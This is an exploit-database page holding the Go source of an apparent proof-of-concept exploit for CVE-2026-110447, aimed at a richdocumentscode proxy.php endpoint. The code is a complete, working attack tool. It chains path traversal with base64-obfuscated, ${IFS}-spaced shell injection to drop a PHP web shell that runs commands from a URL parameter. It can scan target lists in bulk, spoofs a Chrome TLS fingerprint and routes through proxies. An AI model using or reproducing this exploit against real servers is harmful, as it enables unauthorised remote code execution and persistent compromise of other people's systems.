Exploit databaseDownload repository ZIP
GH-6dcab1188577c3169cb9fcc3d1acf5d5
cyroutewolf/cve-2026-110447-poc
Sources for CVE-2026-110447
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files4
cyroutewolf/cve-2026-110447-pocRevision a8368f8ce89a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
main.go
Go · 6,595 bytespackage main
import (
"bufio"
"context"
"encoding/base64"
"errors"
"flag"
"fmt"
"io"
"net"
"net/url"
"os"
"regexp"
"strings"
"time"
fhttp "github.com/bogdanfinn/fhttp"
tls_client "github.com/bogdanfinn/tls-client"
"github.com/bogdanfinn/tls-client/profiles"
)
var urlRegex = regexp.MustCompile(`^(?i)(https?://)?([a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z]{2,}(:[0-9]{1,5})?(/[a-z0-9\-._~:/?#\[\]@!$&'()*+,;=%]*)?$`)
var currentURL string
const (
ifs = "${IFS}"
proxyPath = "/apps/richdocumentscode/proxy.php"
marker = "CyRoute1.php"
markerOK = "OKAY"
maxPath = 8000
)
var Client tls_client.HttpClient
const phpPayload = `<?php echo 'OKAY\n'; if(isset($_GET['c'])){ echo shell_exec($_GET['c'].' 2>&1'); } ?>`
func normalizeURL(Url string) string {
if !strings.HasPrefix(Url, "http://") &&
!strings.HasPrefix(Url, "https://") {
Url = "https://" + Url
}
Url = strings.TrimRight(Url, "/")
parsed, err := url.Parse(Url)
if err != nil {
return ""
}
host := parsed.Hostname()
if net.ParseIP(host) != nil {
return Url
}
if host == "localhost" {
return Url
}
if !urlRegex.MatchString(Url) {
return ""
}
return Url
}
func main() {
var err error
var proxy string
flag.StringVar(&proxy, "proxy", "", "outbound proxy, e.g. socks5://127.0.0.1:10808 (default: direct)")
flag.Parse()
opts := []tls_client.HttpClientOption{
tls_client.WithClientProfile(profiles.Chrome_131),
tls_client.WithInsecureSkipVerify(),
}
if proxy != "" {
opts = append(opts, tls_client.WithProxyUrl(proxy))
}
Client, err = tls_client.NewHttpClient(tls_client.NewNoopLogger(), opts...)
if err != nil {
fmt.Println("[Client ERR]", err)
}
if flag.NArg() < 1 {
fmt.Printf("Usage: %s [-proxy URL] <URL|file>\n", os.Args[0])
return
}
processInput(flag.Arg(0))
}
func attempt() {
fmt.Println("[*] target:", currentURL)
reach := Reachability()
if !reach {
fmt.Println("[!] unreachable:", currentURL)
return
}
marker := fmt.Sprintf("CyRoute_%d.php", time.Now().UnixNano())
path := buildWritePath(marker, phpPayload)
valid := validate(path)
if valid != nil {
fmt.Println("[!] invalid payload:", valid)
return
}
res := send(path)
switch {
case res.Hang:
fmt.Println("[*] hung — launch attempted, verifying")
case res.Err != nil:
fmt.Println("[!] request error:", res.Err)
return
case res.Status == 404:
fmt.Println("[!] 404 — traversal broken")
return
case res.Status == 414:
fmt.Println("[!] 414 — payload too large")
return
case strings.Contains(res.Body, `"status":"OK"`):
fmt.Println("[!] CODE server is up — not vulnerable right now")
return
}
shellPath := "/apps/richdocumentscode/" + marker
v := send(shellPath)
if v.Err == nil && strings.Contains(v.Body, markerOK) {
fmt.Println("[+] CONFIRMED:", currentURL+shellPath)
fmt.Println("[PoC] ", v.Body)
} else if res.Hang {
fmt.Println("[?] INCONCLUSIVE:", currentURL)
} else {
fmt.Println("[-] NOT CONFIRMED:", currentURL)
}
}
func processInput(input string) {
info, err := os.Stat(input)
if err == nil && info.Mode().IsRegular() {
file, err := os.Open(input)
if err != nil {
fmt.Println("[File ERR]", err)
return
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
target := strings.TrimSpace(scanner.Text())
if target == "" {
continue
}
currentURL = normalizeURL(target)
if currentURL == "" {
fmt.Println("[!] invalid:", target)
continue
}
attempt()
}
if err := scanner.Err(); err != nil {
fmt.Println("[File ERR]", err)
}
return
}
if err != nil && !os.IsNotExist(err) {
fmt.Println("[Input ERR]", err)
return
}
currentURL = normalizeURL(input)
if currentURL == "" {
fmt.Println("[Input ERR] Invalid URL:", input)
return
}
attempt()
}
func buildWritePath(filename, content string) string {
inner := base64.StdEncoding.EncodeToString([]byte(content))
shell := "echo" + ifs + inner + "|base64" + ifs + "-d>" + filename
outer := base64.StdEncoding.EncodeToString([]byte(shell))
return "/x$(echo" + ifs + outer + "|base64" + ifs + "-d|sh)x" +
"/../apps/richdocumentscode/proxy.php?status"
}
func buildExecPath(command string) string {
inner := base64.StdEncoding.EncodeToString([]byte(command))
shell := "echo" + ifs + inner + "|base64" + ifs + "-d|sh"
outer := base64.StdEncoding.EncodeToString([]byte(shell))
return "/x$(echo" + ifs + outer + "|base64" + ifs + "-d|sh)x" +
"/../apps/richdocumentscode/proxy.php?status"
}
func validate(p string) error {
if len(p) > maxPath {
return fmt.Errorf("path %d > %d (414 URI Too Long)", len(p), maxPath)
}
if strings.ContainsAny(p, "# ") {
return errors.New("space or # — truncated or rejected")
}
if strings.Count(p, "/") != 5 {
return errors.New("wrong slash count — traversal 404s")
}
if !strings.Contains(p, "${IFS}") {
return errors.New("${IFS} expanded — you get a 0-byte file")
}
if strings.Contains(p, "%24") || strings.Contains(p, "%7B") {
return errors.New("payload percent-encoded — will not execute")
}
return nil
}
func Reachability() bool {
req, err := fhttp.NewRequest(
fhttp.MethodGet,
currentURL,
nil,
)
if err != nil {
fmt.Println("ERR : ", err)
return false
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/126.0")
res, err := Client.Do(req)
if err != nil {
fmt.Println("ERR : ", err)
return false
}
if res.StatusCode == 200 || res.StatusCode < 500 {
return true
}
return false
}
type Result struct {
Status int
Body string
Hang bool
Err error
}
func send(path string) Result {
u, err := url.Parse(currentURL)
if err != nil {
return Result{Err: fmt.Errorf("url parse: %w", err)}
}
base := u.Scheme + "://" + u.Host
req, err := fhttp.NewRequest(fhttp.MethodGet, base, nil)
if err != nil {
return Result{Err: fmt.Errorf("build request: %w", err)}
}
req.URL = &url.URL{Scheme: u.Scheme, Host: u.Host, Opaque: path}
req.Host = u.Host
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0")
res, err := Client.Do(req)
if err != nil {
return Result{Hang: isTimeout(err), Err: err}
}
defer res.Body.Close()
body, err := io.ReadAll(res.Body)
if err != nil {
return Result{Status: res.StatusCode, Err: err}
}
return Result{Status: res.StatusCode, Body: string(body)}
}
func isTimeout(err error) bool {
if err == nil {
return false
}
var ne net.Error
if errors.As(err, &ne) && ne.Timeout() {
return true
}
return errors.Is(err, context.DeadlineExceeded)
}